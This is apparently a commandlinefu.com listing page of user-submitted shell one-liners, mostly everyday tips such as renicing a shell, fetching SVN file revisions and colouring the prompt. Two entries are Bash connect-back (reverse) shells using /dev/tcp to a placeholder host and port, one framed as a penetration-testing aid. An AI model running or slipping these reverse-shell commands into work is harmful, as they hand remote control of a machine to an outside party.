Commands tagged shell (95)

  • Make shell (script) low priority. Use for non interactive tasks


    2
    renice 19 -p $$
    hemanth · 2009-07-29 16:56:22 3
  • fetch all revisions of a specific file in an SVN repository

    Manages everything through one sed script instead of pipes of greps and awks. Quoting of shell variables is generally easier within a sed script.


    2
    svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
    arcege · 2009-09-04 17:23:45 3
  • Connect-back shell using Bash built-ins

    Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/


    2
    exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
    truemilk · 2010-03-18 17:25:08 6
  • Working random fact generator

    extension to tali713's random fact generator. It takes the output & sends it to notify-osd. Display time is proportional to the lengh of the fact.


    2
    wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
    mtron · 2010-04-02 09:43:32 4
  • Connect-back shell using Bash built-ins


    2
    bash -i >& /dev/tcp/IP/PORT 0>&1
    rux · 2011-02-16 11:54:29 3
  • Create a self-signed certificate for Apache Tomcat

    Must be run as root. The 'tomcat' user must have access to the .keystore file. The key and keystore passwords must be the same. The password must be entered into the server.xml config file for Tomcat. Show Sample Output


    2
    ${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (# of days valid)] -keyalg RSA -keystore (Path to keystore)
    ShadowCat8 · 2011-10-13 19:40:35 5
  • Run bash on top of a vi session (saved or not saved), run multiple commands, instead of one at a time with :!(bashcommand), type exit and [enter] to get back to where you left off in vi.


    2
    :shell
    unixmonkey41067 · 2012-10-19 12:13:49 4
  • Quickly move the cursor to different parts of the command line based on a mark.

    Use 'ctrl-@' to set a mark. See the first comment for a better explanation.


    2
    ctrl-x ctrl-x
    somaddict · 2012-11-16 03:49:26 14
  • Display all shell functions set in the current shell environment

    Uses the shell builtin `declare` with the '-f' flag to output only functions to grep out only the function names. You can use it as an alias or function like so: alias shfunctions="builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'" shfunctions () { builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'; } Show Sample Output


    2
    builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'
    sciro · 2018-07-23 05:24:04 1011
  • coloured shell prompt

    This coloured prompt will show: username in green, grey "@" sign, hostname in red, current directory in yellow, typed commands in green.


    2
    export PS1="\e[1;32m\u\e[0m@\e[1;31m\h\e[0m\e[1;33m\w:#> \e[1;32m"
    guillaume1306 · 2018-12-10 14:08:06 37
  • Another way to see the network interfaces

    Like many other thing in Linux ,you can see the same thing in different way. Show Sample Output


    1
    ip addr show
    unixbhaskar · 2009-08-29 12:52:02 3
  • search for a file in PATH


    1
    which <filename>
    Hal_Pomeranz · 2009-09-12 00:51:24 5
  • Remove all files but one starting with a letter(s)

    Remove everything in current directory except files starting with "ca".


    1
    rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
    arcege · 2009-09-15 14:22:56 7
  • Display IP adress of the given interface in a most portable and reliable way. That should works on many platforms.

    Thanks to comment if that works or not... If you have already typed that snippet or you know you already have IO::Interface::Simple perl module, you can type only the last command : perl -e 'use IO::Interface::Simple; my $ip=IO::Interface::Simple->new($ARGV[0]); print $ip->address,$/;' <INTERFACE> ( The first perl command will install the module if it's not there already... )


    1
    x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
    sputnick · 2009-12-13 02:23:40 36
  • Continue a current job in the background

    Continue a current job in the background and detach it from current terminal


    1
    %1 &!
    Dema · 2011-01-14 02:26:24 7
  • Remove spaces from filenames - through a whole directory tree.

    Sometimes, you don't want to just replace the spaces in the current folder, but through the whole folder tree - such as your whole music collection, perhaps. Or maybe you want to do some other renaming operation throughout a tree - this command's useful for that, too. To rename stuff through a whole directory tree, you might expect this to work: for a in `find . -name '* *'`;do mv -i "$a" ${a// /_};done No such luck. The "for" command will split its parameters on spaces unless the spaces are escaped, so given a file "foo bar", the above would not try to move the file "foo bar" to "foo_bar" but rather the file "foo" to "foo", and the file "bar" to "bar". Instead, find's -execdir and -depth arguments need to be used, to set a variable to the filename, and rename files within the directory before we rename the directory. It has to be -execdir and won't work with just -exec - that would try to rename "foo bar/baz quux" to "foo_bar/baz_quux" in one step, rather than going into "foo bar/", changing "baz quux" to "baz_quux", then stepping out and changing "foo bar/" into "foo_bar/". To rename just files, or just directories, you can put "-type f" or "-type d" after the "-depth" param. You could probably safely replace the "mv" part of the line with a "rename" command, like rename 'y/ /_/' *, but I haven't tried, since that's way less portable.


    1
    find . -depth -name '* *' -execdir bash \-c 'a="{}";mv -f "$a" ${a// /_}' \;
    DewiMorgan · 2012-02-28 04:03:40 4
  • Find installed network devices

    Find installed network devices. Show Sample Output


    1
    sudo lshw -C network
    cantormath · 2012-06-07 10:32:49 4
  • Email a file to yourself

    This uses mutt to send the file, and doesn't require uuencode etc


    1
    echo "This is the message body" | mutt -s "Message subject" -a file_to_attach.zip fred@example.com
    jedifu · 2013-09-26 08:05:26 7
  • Convert control codes to visible Unicode Control Pictures

    Converts control codes and spaces (ASCII code ≤ 32) to visible Unicode Control Pictures, U+2400 ? U+2420. Skips \n characters, which is probably a good thing. Show Sample Output


    1
    /bin/echo -e '\002Hello, Folks\t!\r' | perl -pwle 'use v5.14; s/([\N{U+0000}-\N{U+0020}])/chr(9216+ord($1))/ge;'
    scruss · 2014-06-30 01:45:40 11
  • Download latest released gitlab docker container

    Download latest released gitlab docker container


    1
    wget -qO- 'https://github.com'$(curl -s 'https://github.com'$(curl -s https://github.com/sameersbn/docker-gitlab/releases | grep -m 1 -o '<a.*[0-9\.]</a>' | cut -d '"' -f 2) | grep -o '<a.* rel="nofollow">' | grep 'tar.gz' | cut -d '"' -f 2)
    BigZ · 2016-08-23 21:36:57 14
  • shell bash iterate number range with for loop


    1
    rangeBegin=10; rangeEnd=20; for ((numbers=rangeBegin; numbers<=rangeEnd; numbers++)); do echo $numbers; done
    forouharid · 2019-07-27 21:04:27 77
  • Extract content between the first " and the last " double quotes

    Thanks to this user: https://stackoverflow.com/a/35636373/2394635 Show Sample Output


    1
    s='Test "checkin_resumestorevisit \"- "Online_V2.mt" Run'; s=${s#*'"'}; s=${s%'"'*}; echo "$s"
    bugmenot · 2022-01-08 16:16:18 365
  • Working random fact generator

    This is a working version, though probably clumsy, of the script submitted by felix001. This works on ubuntu and CygWin. This would be great as a bash function, defined in .bashrc. Additionally it would work as a script put in the path. Show Sample Output


    0
    lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D
    xizdaqrian · 2009-05-05 07:52:10 12
  • Get the information about the internet usage from the commandline.

    A wonderful command line utility to check the internet usage. It has got so many useful switch to display the data you want.Please visit the man page to get all the information.Get it from this website http://humdi.net/vnstat Show Sample Output


    0
    vnstat
    unixbhaskar · 2009-08-28 04:14:42 4
  • how to run firefox in safe mode from command line

    Sometime you need to run firefox from the command just to rectify something about it.Means,if some of the addon broke you firefox setting or theme broke your ff setting then fall back to commandline i.e shell and type the mentioned command. It will open up an information box with few option along with the checkbox besides them(means you can select them) to start the web browser in safe mode.Besically deactivating all the addon and theme,except the default one.Once you are done/rectified thing ..close that session and reopen the browser normally.It should work.


    0
    firefox --safe-mode
    unixbhaskar · 2009-08-29 04:36:19 3
  •  < 1 2 3 4 > 

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

list folders containing less than 2 MB of data
This command will search all subfolders of the current directory and list the names of the folders which contain less than 2 MB of data. I use it to clean up my mp3 archive and to delete the found folders pipe the output to a textfile & run: $ while read -r line; do rm -Rv "$line"; done < textfile

Follow the most recently updated log files
This command finds the 5 (-n5) most frequently updated logs in /var/log, and then does a multifile tail follow of those log files. Alternately, you can do this to follow a specific list of log files: sudo tail -n0 -f /var/log/{messages,secure,cron,cups/error_log}

Clean your broken terminal
When some console full-screen program (minicom, vi, some installers) breaks down your terminal, try this command to revert all options to "sane" settings (sane is a built-in combo of a lot of stty options)

Get current Xorg resolution via xrandr
Not sure if it works the same on any shell.

Create an animated gif from a Youtube video
requires "youtube-dl" -- sure you can do this with wget and some more obscurity but why waste your time when this great tool is available? the guts consist of mplayer converting a video to a gif -- study this command and read the man page for more information $ mplayer video.flv -ss 00:23 -endpos 6 -vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound generates a 6 second gif starting at 23 seconds of play time at 5 fps and a scale of 400x300 start time (-ss)/end time (-endpos) formats: 00:00:00.000 end time should be relative to start time, not absolute. i.e. -endpos 5 == seconds after 0:42 = 0:47 end point play with fps and scale for lower gif sizes the subshell is a solution for the -b flag on youtube-dl which downloads the best quality video, sometimes, which can be various video formats $(ls ${url##*=}*| tail -n1)

Find longest running non-root processes on a machine
If you have ever been trying to look for a list of processes based on their elapsed time you don't need to look any further. This command lets you find the list of processes ordered in a reversed order (oldest at the top) that have been running for over an hour on your system. Any system processes are filtered out, leaving only user initiated ones in. I find it extremely useful for debugging and performance analysis.

Check every URL redirect (HTTP status codes 301/302) with curl

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

remove *.jpg smaller than 500x500

Comment out a line in a file
This will comment out a line, specified by line number, in a given file.

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: